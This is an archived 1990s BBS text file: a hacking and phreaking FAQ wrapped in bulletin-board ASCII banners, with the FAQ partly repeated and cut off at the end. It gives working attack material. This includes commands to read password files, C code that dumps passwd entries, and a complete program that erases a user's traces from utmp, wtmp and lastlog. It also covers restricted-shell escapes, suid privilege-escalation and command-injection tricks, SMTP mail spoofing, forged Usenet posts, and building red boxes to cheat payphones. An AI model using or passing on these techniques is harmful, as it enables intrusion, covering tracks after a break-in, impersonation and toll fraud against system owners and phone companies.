-( [ DiGiT/\L X ] [ oNE oF tHE fASTEST iN eUROPE ] )- .· :· -( [ DREAM MACHINE WorLD DHQ CenTer © ] )- :· .:· PaRaDiSe wORLD iNNOVATION wORLD dISTRIBUTION sITE! .: .:· .:::. .:· ___ ______________________________ ·:::::.::· / \ / / ____/ / / _ / /\ ·:::::· / _ \/ / /\__/ /__ __/ _ / / / .::::. / / / / \/\/ / / / / // / \_\__ .::·:::. /______/__/______/__/ /__/ /__//__/________/\ .:::· ·:::. \______\__\______\__\/\__\/\__\\__\________\/ .:::· ·:::. ..:::: ··::. NoDe [1] +31-570-637-050 28.8 Power ::::::· ·:: ·· ·::. NoDe [2] +31-570-636-468 33.6 Power ·:::. ·:::: ·::::· ·· 2 * cREDITZ fOR mAJORS! 3 * cREDITZ fOR mAJORS fROM yOUR oWN gROUP! --»> lATEST aMIEXPRESS vERSION 4.xX! <«-- ---»> nO nEW uSER pASSWORD aND/oR sYSTEM pASSWORD! <«--- -( [ DiGiT/\L X ] [ oNE oF tHE BesT FroM The EaSt SidE ] )- ° Þ . ± FOCUS HQ ° ÛÝ ± SABOTAGE WHQ ² CYBERFORCE WHQ Û ± ± Þ²Û ° ² ± ° . Ûßßß ² . ÛÛÛÛ ÛÛÛÛ ßÝ ² ÛÛÛÛßßßßß ÛÛÛÛßÛÛÛÜ ² Û ±²²ÛßÛÛÛÜ ÛÛÛÛ ÛÛÛÛ Û²±° ÛÛÛÛßÛÛÛÜ ßßßßßÛÛÛÛ . ÛÛÛÛ ÛÛÛÛ ÜÛÛÛßßßß . ±±ÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛ²± ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛßß °ÛÛÛßÛÛÛÜ ÛÛÛÛ ÛÛÛÛ ÛÛ²Û ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ . ÛÛÛÛ ÛÛÛÛ ßÛÛÛÜÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛ²Û . ßÛÛÛÜÛÛÛÛ ÛÛ²Û Û . ÛÛÛÛ ÛÛÛÛ ÜÜÜÜÜÜÜÜÜ ÛÛÛß ÜÜÜÜ ÛÛÛÛ ÛÛÛÛ ÛÛ²Û ÛÜÜÜÜÜÜÜÜÜÜ ÛÛ²Û Û ÜÜÜÜ ² ÛÛÛÛ ß ÛÜÜ ÞÝ Û ÛÛÛÛ ÛÛÛÛÜÛÛÛÛ ß ÛÛÛÛ ß . Û ² ÛÛÛÛ ÛÛÛÛ Þ²Û ÜÜÜÜ MYTH EHQ ÛÜÜÜÜ . ß ² ÜÜÜ ÛÛÛÛ ßßßßßß ßÝ ÛÛÛÛßßßßß ßßß ÛÛÛÛ . ² Û ÛÛÛÛ ÛÛÛÛ Û²²± ßßßßßÛÛÛÛ ÜÛÛÛßÛÛÛÛ ÛÛÛÛßÛÛÛÜ ÛÛÛÛßÛßÛÛÛÜ ° Û ÛÛÛÛ Û ÛÛÛÛ ÛÛ²² ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ Û ÛÛÛÛ ° Û ÛÛÛÛ Û ÛÛÛÛ ÛÛ²Û ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ Û ÛÛÛÛ ± Û ßÛÛÛÜÛÜÛÛÛß ßÛÛÛ ÛÛÛÛ ÛÛ²Û ßÛÛÛÜÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛ° Û ± ÛÜÜÜÜÜ ² ÜÜÜÜÛÜÜÜÜ ÛÛÛÛ ÛÛ²Û Ü ² ÜÜÜÜÜ ÛÛÛÛ ÛÛ²Û ÜÜÜÜÜÛ ÛÛ±± Û ± ² Û ÛÛÛÛÜÛÛÛÛ Û ² Û ÛÛÛÛ ÛÛ²Û ß Û²²± Û ° Ü ° ÜÜÜÜÜÜÜÜÛ ² ßÛÛÛÜÛÛÛÛ -ApC- ° ÜÜÛ SYSOP: TAZ DEVIL ° ± ° ² ± ± ± ± 5 NODES 33K6 2 NODES ISDN ! -*- WHERE THE DUTCH PC SCENE MEETS -*- . .___________ _|_ ______________________________. | | | : bOONDOCKS · oNE oF tHE fASTEST iN eUROPE | . _______ __ _|_ ____ ______ ________ : _____ _|_\_ / . | . \_ __ ______\_. \ ______ _\_. /__| ___ / __/__ | / / | : | / \| / l \/ . \ l___/\_ |/ /___ / : \ \______|______/ \ /_________/ | \________/ / _/_______/_ _l______/sc : _/ \____/ \__________/ _/ \___) | | . \_____| \______| | | : | |hELLFiRE & lSD wHQ!·tRISTAR & rED^SECTOR iNC., sUNFLEX iNC. & lFC aMIGA eHQ!| | tRiSTAR & rEDSECTOR iNC. cONSOLE aND gERMAN cONSOLE sYNDICATE wHQ! | | sNEAKERS eUROPEAN hQ | | tRiSTAR & rED^SECTOR iNC. /X-iNNOVATiON wORLD diSTRiBUTiON sITE | | cLASSIC^qUARTEX hQ! · dREAMCHARTS, dEViOUS dEZiGNS & dATA dIVISION dHQ! | | -g^sTYLE! & tWISTED wHQ! · pRO aRTS & rOADHOGZ eHQ! | | | | mASTERS aRE: | | -·>s/\L-oNE!·mARIO·sECTORCHARGER·cOLONEL·gAZ P·eCS<·- | | | | rUNNING oN aN aMIGA 4ooo wITH a cYBERSTORM o6o/5o mHZ/22 mB! | | 2 * cREDITZ fOR mAJORS! 3 * cREDITZ fOR mAJORS fROM yOUR oWN gROUP! | | | | +31-(o)-548-54O-653 +31-(o)-548-521-716/521-848 +tEL-NET | | -·>16k8 dUAL<·- -·>33k6 dUALS!<·- 23:30-06:00 gMT +1 | | | l_________._ _ _ _._________| ________ | -·>nO nEW uSER pASSWORD aND/oR sYSTEM pASSWORd!<·- | ________ |________|| ||________| : uPLOADEd bY Speed Devil oN nODE #04 : . tIME aND dATE oF tHE uPLOAD: 02:42:28 , 11-09-1996 . å @BEGIN_FILE_ID.DIZSome useful info on hacking the Internet @END_FILE_ID.DIZ will@gnu.ai.mit.edu With special thanks to: A-Flat, Al, Aleph1, Bluesman, C-Curve, Edison, KCrow, Presence, Rogue Agent, sbin and TheSaint. Beta Revision .004 01. How do I access the password file under Unix? 02. How do I crack Unix passwords? 03. How do I access the password file under VMS? 04. How do I crack VMS passwords? 05. What is NIS/yp? 06. What is password shadowing? 07. How do I break out of a restricted shell? 08. How do I gain root from a suid script or program? 09. How do I erase my presence from the system logs? 10. How do I send fakemail? 11. How do I fake posts to UseNet? 12. What is a Red Box? 13. How do I build a Red Box? 14. Which payphones will a Red Box work on? 15. What is a Blue Box? 16. Do Blue Boxes still work? 17. What is a Black Box? 18. What do all the colored boxes do? 19. What are some ftp sites of interest to hackers? 20. What are some newsgroups of interest to hackers? 21. What are some telnet sites of interest to hackers? 22. What are some World wide Web (WWW) sites of interest to hackers? 23. What are some IRC channels of interest to hackers? 24. What are some BBS's of interest to hackers? 25. How do I hack ChanOp on IRC? 26. How do I modify the IRC client to hide my real username? 27. What is the ANAC number for my area? 28. What is a ringback number? 29. What is the ringback number for my area? 30. What is a loop? 31. What is a loop in my area? 32. What is a CNA number? 33. What is the telephone company CNA number for my area? 34. What does XXX stand for? 35. What is a trojan/worm/virus? 36. Where can I find more information? 01. How do I access the password file under Unix? In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. 02. How do I crack Unix passwords? Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password. Password cracking software uses wordlists. Each word in the wordlist is encrypted with each of the 2600 possible salt values and the results are compared to the encrypted form of the target password. The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. 03. How do I access the password file under VMS? Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file. 04. How do I crack VMS passwords? Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT. Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD. 05. What is NIS/yp? NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machies on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file with a line that looks like this: +::0:0::: To view the real password file use this command "cd/etc;ypcat passwd" 06. What is password shadowing? Password shadowing is a security system where the encrypted password field of /etc/password is replaced with a special token and the encrypted password is stored in a seperate file which is not readable by normal system users. To defeat password shadowing on many systems, write a program that uses successive calls to getpwent() to obtain the password file. Example: #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } 07. How do I break out of a restricted shell? On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command: :set shell=/bin/sh then shell using this command: :shell 08. How do I gain root from a suid script or program? 1. Change IFS. If the shell script calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Seperator that the shell uses to delimit arguments. If the program contains a line that looks like this: system("/bin/date") and you change IFS to '/' the shell will them interpret the proceeding line as: bin date Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date. To change IFS, use this command: set IFS '/' 2. link the script to -i Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts. Example: % ln suid.sh -i % -i # 3. Exploit a race condition Replace a symbolic link to the program with another program while the kernel is loading /bin/sh. Example: nice -19 suidprog ; ln -s evilprog suidroot 4. Send bad input the the program. Invoke the name of the program and a seperate command on the same command line. Example: suidprog ; id 09. How do I erase my presence from the system logs? Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose. Example: #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } 10. How do I send fakemail? Telnet to port 25 of the machine you want the mail to appear to originate from. Enter your message as in this example: HELO bellcore.com MAIL FROM:Voyagor@bellcore.com RCPT TO:clinton@whitehouse.gov DATA Please discontinue your silly Clipper initiative. . QUIT On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first. 11. How do I fake posts to UseNet? Use inews to post. Give inews the following lines: From: Newsgroups: Subject: Message-ID: Date: Organization: For a moderated newsgroup, inews will also require this line: Approved: Then add your post and terminate with . Example: From: Dale Drew Newsgroups: alt.2600 Subject: Please forgive me Message-ID: Date: Fri, 13 Jun 1994 12:15:03 Organization: Tymnet Insecurity Please forgive me for being such a worthless puke all of these years. Sincerely, Bartman ^D 12. What is a Red Box? When a coin is inserted into a payphone, the phone emits a set of tones. A red box is a device that simulates those tones, with the purpose of fooling the payphone into believing you have inserted an actual coin. 13. How do I build a Red Box? Red boxes are commonly manufactured from modified Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components. To make a Red Box from a radio shack tone dialer, open the dialer and replace the crystal (the largest shiny metal component) with a crystal close to 6.5Mhz. The most popular choice is the 6.5536Mhz crystal. When you are finished, program the P1 button with five *'s. That will simulate a quarter tone. Note that the tone dialer you start with must have programmable buttons. 14. Which payphones will a Red Box work on? Red Boxes will work on TelCo owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones). 15. What is a Blue Box? Blue boxes use a 2600hz tone to convince telephone switches that use in-band signalling that the caller is actually a telephone operator. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the Multi-Frequency tones provided by the Blue Box. 16. Do Blue Boxes still work? Blue Boxes still work in areas using in-band signalling. Modern phone signalling switches using ESS (Electronic Signalling Systems) use out-of-band-signalling. Nothing you send over the voice portion of bandwidth can control the switch. 17. What is a Black Box? A Black Box is a 10k ohm resistor placed across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call. 18. What do all the colored boxes do? Acrylic Steal Three-Way-Calling, Call Waiting and programmable Call Forwarding on old 4-wire phone systems Aqua Drain the voltage of the FBI lock-in-trace/trap-trace Beige Lineman's hand set Black Allows the calling party to not be billed for the call placed Blast Phone microphone amplifier Blotto Supposedly shorts every fone out in the immediate area Blue Emulate a true operator by siezing a trunk with a 2600hz tone Brown Create a party line from 2 phone lines Bud Tap into your neighbors phone line Chartreuse Use the electricity from your phone line Cheese Connect two phones to create a divertor Chrome Manipulate Traffic Signals by Remote Control Clear A telephone pickup coil and a small amp use to make free calls on Fortress Phones Color Line activated telephone recorder Copper Cause crosstalk interference on an extender Crimson Hold button Dark Re-route outgoing or incoming calls to another phone Dayglo Connect to your neighbors phone line Divertor Re-route outgoing or incoming calls to another phone DLOC Create a party line from 2 phone lines Gold Trace calls, tell if the call is being traced, and can change a tra ce Green Emulate the Coin Collect, Coin Return, and Ringback tones Infinity Remotely activated phone tap Jack Touch-Tone key pad Light In-use light Lunch AM transmitter Magenta Connect a remote phone line to another remote phone line Mauve Phone tap without cutting into a line Neon External microphone Noise Create line noise Olive External ringer Party Create a party line from 2 phone lines Pearl Tone generator Pink Create a party line from 2 phone lines Purple Telephone hold button Rainbow Kill a trace by putting 120v into the phone line (uh huh..) Razz Tap into your neighbors phone Red Make free phone calls from pay phones by generating quarter tones Rock Add music to your phone line Scarlet Cause a neighbors phone line to have poor reception Silver Create the DTMF tones for A, B, C and D Static Keep the voltage on a phone line high Switch Add hold, indicator lights, conferencing, etc.. Tan Line activated telephone recorder Tron Reverse the phase of power to your house, causing your electric meter to run slower TV Cable "See" sound waves on your TV Urine Create a capacitative disturbance between the ring and tip wires in another's telephone headset Violet Keep a payphone from hanging up White Portable DTMF keypad Yellow Add an extension phone 19. What are some ftp sites of interest to hackers? aql.gatech.edu bellcore.com cert.org cipher.com deimos.cs.uah.edu ftp.csua.berkeley.edu /pub/cypherpunks ftp.eff.org /pub/cud ftp.etext.org ftp.netcom.com /pub/bradleym ftp.netsys.com ftp.win.tue.nl garbo.uwasa.fi:pc/crypt ghost.dsi.unimi.it:/pub/crypt hack-this.pc.cc.cmu.edu halcyon.com info.cert.org ripem.msu.edu:pub/crypt rtfm.mit.edu spy.org theta.iis.u-tokyo.ac.jp /pub1/security vincent2.iastate.edu login: anonymous.mabell /* Closed for the Summer */ wimsey.bc.ca /pub/crypto 20. What are some newsgroups of interest to hackers? alt.2600 alt.dcom.telecom alt.hackers alt.security.index alt.security.keydist alt.security.pgp alt.security.ripem alt.security comp.dcom.telecom Telecommunications digest. (Moderated) comp.dcom.telecom.tech comp.org.cpsr.announce comp.org.cpsr.talk comp.org.eff comp.org.eff comp.security.announce comp.security.misc Security issues of computers and networks. comp.security.unix comp.virus Computer viruses & security. (Moderated) misc.security Security in general, not just computers. (Moderated) sci.crypt Different methods of data en/decryption. 21. What are some telnet sites of interest to hackers? 22. What are some World wide Web (WWW) sites of interest to hackers? http://crimelab.com//bugtraq/bugtraq/html http://cs.purdue.edu/homes/spaf/coast.html http://cs.purdue.edu/homes/spaf/pcert.html http://first.org http://l0pht.com http://tamsun.tamu.edu/~clm3840/hacking.html/ http://www.net23.com http://www.tnt.uni-hannover.de/stud/hamid.html http://www.spy.org /Security/Local/News http://www.phantom.com/~king 23. What are some IRC channels of interest to hackers? #hack #phreak #linux #unix #warez 24. What are some BBS's of interest to hackers? Home BBS (303)343-4053 25. How do I hack ChanOp on IRC? Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose. 26. How do I modify the IRC client to hide my real username? Get the IRC client from cs.bu.edu /irc/clients. Look at the source code files irc.c and ctcp.c. The code you are looking for is fairly easy to spot. Change it. Change the username code in irc.c and the ctcp information code in ctcp.c. Compile and run your client. 27. What is the ANAC number for my area? How to find your ANAC number: Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If that fails, try the nationwide ANAC number 404-988-9664. If you find the ANAC number for your area, please let us know. Note that many times the ANAC number will vary for different switches in the same city. A trick to getting the number of the phone line you are calling from is to call (800)571-8859. It is an 800 phone sex line. The system will give you an account number. The first 10 digits of the account number will be the telephone number from which you are calling. NPA ANAC number Comments --- --------------- --------------------------------------------- 201 958 Hackensack/Jersey City/Newark/Paterson, NJ 203 960 CT (All) 203 970 CT (All) 204 644-xxxx Manitoba 205 908-222-2222 Birmingham, AL 206 411 WA /* Not US West */ 207 958 ME (All) 209 830 Stockton, CA 212 958 Manhattan, NY 213 114 Los Angeles, CA 213 1223 Los Angeles, CA /* some 1AESS switches */ 213 211-2345 Los Angeles, CA /* English response */ 213 211-2346 Los Angeles, CA /* DTMF response */ 213 61056 Los Angeles, CA 214 790 Dallas, TX /* GTE */ 214 970-222-2222 Dallas, TX 214 970-611-1111 Dallas, TX /* Southwestern Bell */ 215 410-xxxx Philadelphia, PA 217 200-xxx-xxxx Champaign-Urbana/Springfield, IL 301 958-9968 Hagerstown/Rockville, MD 305 200-222-2222 Ft. Lauderdale/Key West/Miami, FL 309 200-xxx-xxxx Peoria/Rock Island, IL 310 114 Long Beach, CA /* on many GTE switches */ 310 1223 Long Beach, CA /* some 1AESS switches */ 310 211-2345 Long Beach, CA /* English response */ 310 211-2346 Long Beach, CA /* DTMF response */ 312 1-200-5863 Chicago, IL 312 200-xxx-xxxx Chicago, IL 312 290 Chicago, IL 313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI 313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI 313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI 313 200200200200200 Ann Arbor/Dearborn/Detroit, MI 314 511 Columbia/Jefferson City, MO 317 310-222-2222 Indianapolis/Kokomo, IN 317 743-1218 Indianapolis/Kokomo, IN 401 222-2222 RI (All) 402 311 Lincoln, NE 403 311 Alberta, Yukon and N.W. Territory 403 908-222-2222 Alberta, Yukon and N.W. Territory 403 999 Alberta, Yukon and N.W. Territory 404 311 Atlanta, GA 404 940-xxx-xxxx Atlanta, GA 405 897 Enid/Oklahoma City, OK 407 200-222-2222 Orlando/West Palm Beach, FL 408 300-xxx-xxxx San Jose, CA 408 760 San Jose, CA 408 940 San Jose, CA 409 951 Beaumont/Galveston, TX 409 970-xxxx Beaumont/Galveston, TX 410 200-555-1212 Annapolis/Baltimore, MD 410 811 Annapolis/Baltimore, MD 412 711-6633 Pittsburgh, PA 412 711-4411 Pittsburgh, PA 412 999-xxxx Pittsburgh, PA 413 958 Pittsfield/Springfield, MA 413 200-555-5555 Pittsfield/Springfield, MA 414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 200-555-1212 San Francisco, CA 415 211-2111 San Francisco, CA 415 2222 San Francisco, CA 415 640 San Francisco, CA 415 760-2878 San Francisco, CA 415 7600-2222 San Francisco, CA 419 311 Toledo, OH 502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY 503 611 Portland, OR /* not all parts of town */ 508 958 Fall River/New Bedford/Worchester, MA 508 200-222-1234 Fall River/New Bedford/Worchester, MA 508 200-222-2222 Fall River/New Bedford/Worchester, MA 509 560 Spokane/Walla Walla/Yakima, WA 512 200-222-2222 Austin/Corpus Christi, TX 512 830 Austin/Corpus Christi, TX 512 970-xxxx Austin/Corpus Christi, TX 514 320-xxxx Montreal, Quebec 515 5463 Des Moines, IA 516 958 Hempstead/Long Island, NY 516 968 Hempstead/Long Island, NY 517 200-222-2222 Bay City/Jackson/Lansing, MI 517 200200200200200 Bay City/Jackson/Lansing, MI 518 997 Albany/Schenectady/Troy, NY 518 998 Albany/Schenectady/Troy, NY 602 593-0809 Phoenix, AZ 602 593-6017 Phoenix, AZ 602 593-7451 Phoenix, AZ 603 200-222-2222 NH (All) 606 997-555-1212 Ashland/Winchester, KY 607 993 Binghamton/Elmira, NY 609 958 Atlantic City/Camden/Trenton/Vineland, NJ 612 511 Minneapolis/St.Paul, MN 615 200200200200200 Nashville, TN 615 830 Nashville, TN 616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI 617 200-222-1234 Boston, MA 617 200-222-2222 Boston, MA 617 200-444-4444 Boston, MA /* Woburn, MA */ 617 220-2622 Boston, MA 617 958 Boston, MA 618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL 708 1-200-xxxx Chicago/Elgin, IL 713 970-xxxx Houston, TX 714 211-2121 Anaheim, CA /* GTE */ 716 511 Buffalo/Ni THE _____ _____/\________/\___ \__ \/ \_____ \______ \_ BRAINWAVE C= HQ / \/ ./ _' ./ \/ . / BRAINWAVE C= HQ / / // / // _/ :/ /____/__ /___/___ /_______ / \/ \/ \/ _________________ ____________/\_____________/\ \__ / \_____ \ \__ / \__ ____/\__ ____/ / _ ./ \/ \_/ / ./____ \_/ __)_ / / // \ /: / // \/ / / / /___/___ /________ /_______ /________ /______ / \/ \/ \/ \/ \/ [*GeRoNiMo*] [*TuCkEr*] Amiga 4000 -+- 68040 25mhz -+- 340 meg Online -+- Coming: 1.4 Gig Online -+- NØDE1 +33 FIND OUT 28.8 POWER ThE BesT PD » OnLy ThE BesT AmI/x SuPPoRT » 12.0 mEGs oF /X dOORs aND uTILs PoRnOs » Over 2.5 GiGs AvAiLaBlE PoRnOs » XxX-FeTiSh-TaStELeSs - --(· FastAdd v1.2 By Nike/Craze^Del!ght -95 ·)-- - @BEGIN_FILE_ID.DIZSome useful info on hacking the Internet @END_FILE_ID.DIZ will@gnu.ai.mit.edu With special thanks to: A-Flat, Al, Aleph1, Bluesman, C-Curve, Edison, KCrow, Presence, Rogue Agent, sbin and TheSaint. Beta Revision .004 01. How do I access the password file under Unix? 02. How do I crack Unix passwords? 03. How do I access the password file under VMS? 04. How do I crack VMS passwords? 05. What is NIS/yp? 06. What is password shadowing? 07. How do I break out of a restricted shell? 08. How do I gain root from a suid script or program? 09. How do I erase my presence from the system logs? 10. How do I send fakemail? 11. How do I fake posts to UseNet? 12. What is a Red Box? 13. How do I build a Red Box? 14. Which payphones will a Red Box work on? 15. What is a Blue Box? 16. Do Blue Boxes still work? 17. What is a Black Box? 18. What do all the colored boxes do? 19. What are some ftp sites of interest to hackers? 20. What are some newsgroups of interest to hackers? 21. What are some telnet sites of interest to hackers? 22. What are some World wide Web (WWW) sites of interest to hackers? 23. What are some IRC channels of interest to hackers? 24. What are some BBS's of interest to hackers? 25. How do I hack ChanOp on IRC? 26. How do I modify the IRC client to hide my real username? 27. What is the ANAC number for my area? 28. What is a ringback number? 29. What is the ringback number for my area? 30. What is a loop? 31. What is a loop in my area? 32. What is a CNA number? 33. What is the telephone company CNA number for my area? 34. What does XXX stand for? 35. What is a trojan/worm/virus? 36. Where can I find more information? 01. How do I access the password file under Unix? In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. 02. How do I crack Unix passwords? Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password. Password cracking software uses wordlists. Each word in the wordlist is encrypted with each of the 2600 possible salt values and the results are compared to the encrypted form of the target password. The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. 03. How do I access the password file under VMS? Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file. 04. How do I crack VMS passwords? Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT. Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD. 05. What is NIS/yp? NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machies on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file with a line that looks like this: +::0:0::: To view the real password file use this command "cd/etc;ypcat passwd" 06. What is password shadowing? Password shadowing is a security system where the encrypted password field of /etc/password is replaced with a special token and the encrypted password is stored in a seperate file which is not readable by normal system users. To defeat password shadowing on many systems, write a program that uses successive calls to getpwent() to obtain the password file. Example: #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } 07. How do I break out of a restricted shell? On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command: :set shell=/bin/sh then shell using this command: :shell 08. How do I gain root from a suid script or program? 1. Change IFS. If the shell script calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Seperator that the shell uses to delimit arguments. If the program contains a line that looks like this: system("/bin/date") and you change IFS to '/' the shell will them interpret the proceeding line as: bin date Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date. To change IFS, use this command: set IFS '/' 2. link the script to -i Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts. Example: % ln suid.sh -i % -i # 3. Exploit a race condition Replace a symbolic link to the program with another program while the kernel is loading /bin/sh. Example: nice -19 suidprog ; ln -s evilprog suidroot 4. Send bad input the the program. Invoke the name of the program and a seperate command on the same command line. Example: suidprog ; id 09. How do I erase my presence from the system logs? Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose. Example: #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } 10. How do I send fakemail? Telnet to port 25 of the machine you want the mail to appear to originate from. Enter your message as in this example: HELO bellcore.com MAIL FROM:Voyagor@bellcore.com RCPT TO:clinton@whitehouse.gov DATA Please discontinue your silly Clipper initiative. . QUIT On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first. 11. How do I fake posts to UseNet? Use inews to post. Give inews the following lines: From: Newsgroups: Subject: Message-ID: Date: Organization: For a moderated newsgroup, inews will also require this line: Approved: Then add your post and terminate with . Example: From: Dale Drew Newsgroups: alt.2600 Subject: Please 